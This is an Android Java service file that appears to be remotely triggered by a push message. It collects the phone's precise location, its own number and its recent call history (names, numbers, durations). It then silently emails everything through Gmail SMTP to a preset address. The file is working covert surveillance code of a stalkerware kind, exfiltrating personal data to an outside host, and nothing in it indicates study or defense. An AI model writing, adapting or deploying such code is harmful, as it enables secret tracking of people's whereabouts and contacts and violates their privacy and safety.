package com.kumarn.android.test.gcmtestreceive;

import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Properties;
import java.util.Timer;
import java.util.TimerTask;

import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;

import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Binder;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.provider.CallLog;
import android.telephony.TelephonyManager;

public class StateService extends Service {

	private LocationManager locationManager;
	private LocationListener locationListener;
	private Timer locationTimer;
	long time;

	public int recount = 0;
	public Criteria criteria = new Criteria();

    @Override
    public IBinder onBind(Intent intent) {
        return binder;
    }

    private final IBinder binder = new Binder() {
        @Override
        protected boolean onTransact(int code, Parcel data, Parcel reply, int flags) throws RemoteException {
            return super.onTransact(code, data, reply, flags);
        }
    };

	@Override
	public void onStart(Intent intent, int startId) {
		startLocationService();
        Thread thr = new Thread(null, task, "AlarmService_Service");
        thr.start();
	}

	private Runnable task = new Runnable() {
		public void run() {
			//サービス停止
			StateService.this.stopSelf();
		}
	};

	private void startLocationService() {
		stopLocationService();
		locationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
		if (locationManager == null) {
			return;
		}

		if(recount == 0){
			criteria.setAccuracy(Criteria.ACCURACY_FINE);
		}else{
			criteria.setAccuracy(Criteria.ACCURACY_COARSE);
		}

		//他センサー系をOFFにする
		criteria.setBearingRequired(false);
		criteria.setSpeedRequired(false);
		criteria.setAltitudeRequired(false);

		final String provider = locationManager.getBestProvider(criteria, true);
		if (provider == null) {
			stopLocationService();
			return;
		}

		final Location lastKnownLocation = locationManager.getLastKnownLocation(provider);
		if (lastKnownLocation != null && (new Date().getTime() - lastKnownLocation.getTime()) <= (5 * 60 * 1000L)) {
			setLocation(lastKnownLocation);
			return;
		}

		locationTimer = new Timer(true);
		time = 0L;
		final Handler handler = new Handler();
		locationTimer.scheduleAtFixedRate(new TimerTask() {
			@Override
			public void run() {
				handler.post(new Runnable() {
					public void run() {
						if (time == 1000L) {
						} else if (time >= (30 * 1000L)) {
							recount++;
							if (recount <= 3) {
								startLocationService();
							} else {
								stopLocationService();
							}
						}
						time = time + 1000L;
					}
				});
			}
		}, 0L, 1000L);

		locationListener = new LocationListener() {
			public void onLocationChanged(final Location location) {
				setLocation(location);
			}

			public void onProviderDisabled(final String provider) {
			}

			public void onProviderEnabled(final String provider) {
			}

			public void onStatusChanged(final String provider,
					final int status, final Bundle extras) {
			}
		};

		locationManager.requestLocationUpdates(provider, 60000, 0,locationListener);
	}

	private void stopLocationService() {
		if (locationTimer != null) {
			locationTimer.cancel();
			locationTimer.purge();
			locationTimer = null;
		}
		if (locationManager != null) {
			if (locationListener != null) {
				locationManager.removeUpdates(locationListener);
				locationListener = null;
			}
			locationManager = null;
		}
	}

	private void setLocation(final Location location) {
		stopLocationService();

		String Acc = "[ FINE ]";
		if(criteria.getAccuracy() == Criteria.ACCURACY_COARSE){
			Acc = "[ COARSE ]";
		}

		//電話番号取得
		TelephonyManager mTelephonyMgr = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
		String PHONE_NUMBER = mTelephonyMgr.getLine1Number();

		//Mapリンク生成
		String URL = "http://maps.google.co.jp/maps?q="
				+ location.getLatitude() + "%20" + location.getLongitude()
				+ "&um=1&ie=UTF-8&hl=ja&sa=N&tab=wl&authuser=0";

		//通話履歴取得
		String callLog = "";
		Cursor cursor = getCalingList();

		if (cursor.moveToFirst()) {
			int callc = 0;
			do {
				callc++;
				String callLogStr = "";

				//日時取得
				Date date = new Date(cursor.getLong(cursor.getColumnIndex(CallLog.Calls.DATE)));
				SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");

				callLogStr += sdf1.format(date) + "　／";

				//Callタイプ取得
				int callingType = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.TYPE));
				if (callingType == CallLog.Calls.INCOMING_TYPE) {
					callLogStr += "着信：";
				} else if (callingType == CallLog.Calls.OUTGOING_TYPE) {
					callLogStr += "発信：";
				} else if (callingType == CallLog.Calls.MISSED_TYPE) {
					callLogStr += "不着：";
				}

				//通話時間(秒)取得
				int callingTime = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.DURATION));
				callLogStr += callingTime + "秒";

				//通話時間の桁に合わせてスペースを入れる
				int keta = Integer.toString(callingTime).length();
				int space = 7 - keta;
				String spaceStr = "";
				for(int i = 0;i < space;i++){
					spaceStr += " ";
				}
				callLogStr += spaceStr;

				//電話帳から登録名を取得
				String cachedName = cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME));
				if (cachedName == null || cachedName.trim() == "") {
					callLogStr += "unknown";
				} else {
					callLogStr += cachedName;
				}

				//電話番号取得
				callLogStr += "(" + cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER)) + ")";
				callLog += callLogStr + "\n";

				if(callc >= 21){
					break;
				}

			} while (cursor.moveToNext());
		}

		//本文生成
		String text = Acc + "\n" + URL + "\n\n" + callLog;

		//件名生成
		Date today = new Date();
		SimpleDateFormat sdf = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
		String sub = PHONE_NUMBER + " (" + sdf.format(today) + ")";

		sendMail("PUSH"+sub, text);
	}

	/**
	 * メール送信
	 * @param subject 件名
	 * @param text 本文
	 * @return
	 */
    public boolean sendMail(String subject, String text) {

    	Session session = createSendGMailSession();
		MimeMessage msg = new MimeMessage(session);
		try {
			msg.setSubject(subject, "utf-8");
			msg.setFrom(new InternetAddress(GCMPrefarence.FROM_ADDRESS));
			msg.setSender(new InternetAddress(GCMPrefarence.RECEIVE_ADDRESS));
			msg.setRecipient(Message.RecipientType.TO, new InternetAddress(GCMPrefarence.RECEIVE_ADDRESS));
			msg.setText(text, "utf-8");

			Transport t = session.getTransport("smtp");
			t.connect(GCMPrefarence.FROM_ADDRESS, GCMPrefarence.FROM_PASS);
			t.sendMessage(msg, msg.getAllRecipients());
		} catch (MessagingException e) {
			e.printStackTrace();
			return false;
		}
		return true;
	}

    /**
     * Gmailセッション生成
     * @return
     */
    private Session createSendGMailSession() {
		Properties props = new Properties();
		props.put("mail.smtp.host", "smtp.gmail.com");
		props.put("mail.host", "smtp.gmail.com");
		props.put("mail.smtp.port", "587");
		props.put("mail.smtp.auth", "true");
		props.put("mail.smtp.starttls.enable", "true");

		Session session = Session.getDefaultInstance(props);
		session.setDebug(false);
		return session;
	}

    /**
     * 通話履歴取得
     * @return
     */
	public Cursor getCalingList() {
		String order = CallLog.Calls.DATE + " desc";
		Cursor c = getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, order);
		return c;
	}
}
